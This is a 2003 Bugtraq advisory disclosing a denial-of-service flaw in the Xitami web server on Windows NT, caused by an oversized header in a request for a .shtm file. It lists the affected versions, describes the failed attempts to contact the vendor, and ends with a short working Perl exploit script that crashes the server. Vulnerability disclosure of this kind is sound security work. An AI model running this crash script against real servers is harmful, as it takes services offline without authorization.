Home page logo
/

bugtraq logo Bugtraq mailing list archives

Denial of service vulnerability in Xitami Open Source Web Server
From: Oliver Karow <Oliver.karow () gmx de>
Date: Mon, 22 Sep 2003 14:28:05 +0200

Denial of service vulnerability in Xitami Open Source Web Server
================================================================

Date: 22.09.2003
=====


Affected Systems
================

The vulnerability was discovered on several versions (production and beta) of Xitami
webserver for Windows NT:

- Xitami 2.5B4 (bw3225b4.exe)
- Xitami 2.5B4 (bs3225b4.exe)
- Xitami 2.4D9 (bw3224d9.exe)

I did no tests with the other versions and os/platforms (OS/2, Alpha, OpenVMS, Unix).
Therfore i can't confirm that the vulnerability exists there.

The Problem
===========

Xitami is a multiplatform open source web server and the flagship of iMatix.
The services crashes when it receives a http get request (to a .shtm file) with a header field of >= 5154 bytes, followed by a ":".

Xitami dies due to a Microsoft Visual C++ Runtime Error, an
abnormal program termination inside XIWIN32.EXE has occurred. The message is *not* followed by any Win32 exception dialog.

Vendor:
=======

iMatix was informed about the vulnerability on 04.09.2003 and 05.09.2003 via email.
Up to now, i did not receive an answer from iMatix :(

You can visit the vendors webpage here:

http://www.ximati.com
http://www.imatix.com

Other Notes
===========
Unlike some server crashes, the service process will *not* recover from the crash
caused by the attack.

Successful exploitation of this vulnerability will NOT be logged, as the
service crashes.

It seems also not to be clear, what the actual production and beta release
versions are.
At http://www.xitami.com/download.htm, the current production is 2.4d9 and the current
beta is 2.5b5.
At the same time, at http://www.imatix.com/html/xitami/index2.htm, the current
production is 2.5b4 and the current beta is 2.5b4?!?

Author:
=======
Oliver Karow (oliver.karow[at]gmx.de)

Exploitation
============

#!/usr/local/bin/perl
#
# Simple exploit for Imatix Xitami Webserver on Windows NT # # Sending a GET request for a *.shtm file with a header field of >= 5154 bytes, followed by a ":",
# will crash the service.
#
# Vulnerable versions:
# - Xitami 2.5B4 (bw3225b4.exe)
# - Xitami 2.5B4 (bs3225b4.exe)
# - Xitami 2.4D9 (bw3224d9.exe)
# - others?
#
# For legal purposes only !
#
# 22.09.2003 - Oliver Karow - oliver.karow[AT]gmx.de

use IO::Socket;

$ip="127.0.0.1";
$port=80;

$var="A" x 5157;

$mySocket=IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ip, PeerPort=>$port, Timeout=>5);
$mySocket->autoflush(1);
 print $mySocket "GET /test.shtm HTTP/1.0\r\n".
$var.": */*\r\n\r\n";
@answer=<$mySocket>;
$length= () answer;
if ($length==0){die "\nService killed!\n";}
print @answer;




  By Date           By Thread  

Current thread:
  • Denial of service vulnerability in Xitami Open Source Web Server Oliver Karow (Sep 22)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault